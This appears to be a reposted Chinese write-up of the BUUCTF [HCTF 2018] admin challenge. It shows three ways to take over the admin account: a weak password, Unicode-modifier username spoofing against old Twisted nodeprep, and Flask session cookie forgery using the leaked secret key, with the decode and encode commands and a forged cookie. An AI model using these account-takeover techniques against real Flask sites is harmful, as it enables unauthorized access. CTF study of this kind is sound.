概述
题目地址:https://buuoj.cn/challenges#[HCTF%202018]admin
第一种解法:弱密码
根据提示,尝试弱密码登录admin
用户,当admin
的密码为123
时,登陆成功
第二种解法:Unicode欺骗
随便注册个用户mochu7
,在Change Password
给出来题目源码,/hctf_flask/app/rotus.py
register
和login
对用户名使用了自定义函数strlower()
nodeprep.prepare()
来自
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
在requirements.txt
中可以看到Twisted
的版本
Twisted
版本为10.2.0
,而目前(2020/10/28)Twisted
最新版本已有20.3.0
,这里使用的版本非常旧
10.2.0
版的nodeprep.prepare()
对一些特殊的Unicode
编码处理后会得到一个正常的字符
使用以下网站寻找admin
账户的特殊Unicode
编码
https://unicode-table.com/en/search/?q=Modifier+Letter+Capital
ᴬᴰᴹᴵᴺ
Unicode
编码后
u1d2cu1d30u1d39u1d35u1d3a
两次nodeprep.prepare()
处理后得到admin
字符
即可注册一个账户ᴬᴰᴹᴵᴺ
,注册时nodeprep.prepare()
处理一遍得到ADMIN
,然后修改密码时nodeprep.prepare()
会进行第二次处理,得到admin
即可修改admin
账户密码
第三种解法:Flask session 伪造
众所周知,flask
的session
是存放在客户端的cookie
当中的,并且没有加密操作,仅仅只是做了签名防止篡改
Flask-Session加解密脚本:https://github.com/noraj/flask-session-cookie-manager
用户mochu7
的session
{'_fresh': True, '_id': b'cbf743351a54bf3ded8ca2343c8479d60da235568a066582dc7814a5864c10618d87e3a13f7d37e6464470248ebd3233603c6d5e3597d2cf2c04b073d4518c53', 'csrf_token': b'7584ce1b2f1bd3155835e20862bc752607b31c7b', 'image': b'LqRX', 'name': 'mochu7', 'user_id': '10'}
PS D:ToolsWebflask-session-cookie-manager> python .flask_session_cookie_manager3.py decode -s 'ckj123' -c '.eJw9kMGKwkAQRH9l6bOHZOKyEPAQGM0a6A66o2HmIm6MTjqJQlQ0I_77Di54rup61fWAzb6vzhbiS3-tRrCpdxA_4OMXYtAi68gtHLrVXatVoDvtTLpu8pQsMgYocEyy_DRS30w6HbwvJLYWpRakDoNJMcrlNPC3Y-Ilo0oEKtvkcteimN5R6MhIjIzSAfEiIJcMJG2rO89kdMSJ88SGipUj1XhvxoYzRrmsUZbOyEXo85gUTuA5gvLc7zeXU1Md3y-Q8-iUWizmg-FZ7XF38nXQrVvkxNfKau3KEFnfSMwdFhjpw-QVV3fbQ_VOUt-znyL5V47bzgvQnUp7_YIRXM9V_xoOwgCef1nZbOI.X5k9pg.ErECKkJ7jz7qU_-NGQSWFDgTq98'
{'_fresh': True, '_id': b'cbf743351a54bf3ded8ca2343c8479d60da235568a066582dc7814a5864c10618d87e3a13f7d37e6464470248ebd3233603c6d5e3597d2cf2c04b073d4518c53', 'csrf_token': b'7584ce1b2f1bd3155835e20862bc752607b31c7b', 'image': b'LqRX', 'name': 'mochu7', 'user_id': '10'}
伪造session
还需要知道secret key
,全局搜索源码文件夹即可找到
secret key
为ckj123
修改name
为admin
{'_fresh': True, '_id': b'cbf743351a54bf3ded8ca2343c8479d60da235568a066582dc7814a5864c10618d87e3a13f7d37e6464470248ebd3233603c6d5e3597d2cf2c04b073d4518c53', 'csrf_token': b'7584ce1b2f1bd3155835e20862bc752607b31c7b', 'image': b'LqRX', 'name': 'admin', 'user_id': '10'}
进行加密得到admin
的session
PS D:ToolsWebflask-session-cookie-manager> python .flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'cbf743351a54bf3ded8ca2343c8479d60da235568a066582dc7814a5864c10618d87e3a13f7d37e6464470248ebd3233603c6d5e3597d2cf2c04b073d4518c53', 'csrf_token': b'7584ce1b2f1bd3155835e20862bc752607b31c7b', 'image': b'LqRX', 'name': 'admin', 'user_id': '10'}"
.eJw9kMGKwkAQRH9l6bOHZOJeBA-B0ayBbtEdDTOX4MZo0klciIqmxX_fwQXPVV2vuh6QH_ryXMHk0l_LEeT1HiYP-PiBCViVdiQrQdncrdkEtrPikm2zTKhCxgAVjkkXn07bm0tmg_eFxFWF2ioyx8ElGC31LPC3Y-I1o4kVmqpZ6n2LanZHZSOnMXLGBsSrgCQeSFet7TyTUYhj8cSGso2Qabw3Zccpo17XqAtxehX6PCaDU3iOoDj3h_zy25Sn9wskHp1Qi9licDyvPe5Ovg7KtkWOfa20tlKEyPZGaiGYYWSP01dc3e2O5TvJfM2_s_hfOe06L8Bu39UnGMH1XPav3SAM4PkH7IhsmA.X5k-3w.1NeZXj_XVt-fu-MQxsTtdPuBZws
最后
以上就是明理皮带为你收集整理的BUUCTF:[HCTF 2018]admin的全部内容,希望文章能够帮你解决BUUCTF:[HCTF 2018]admin所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复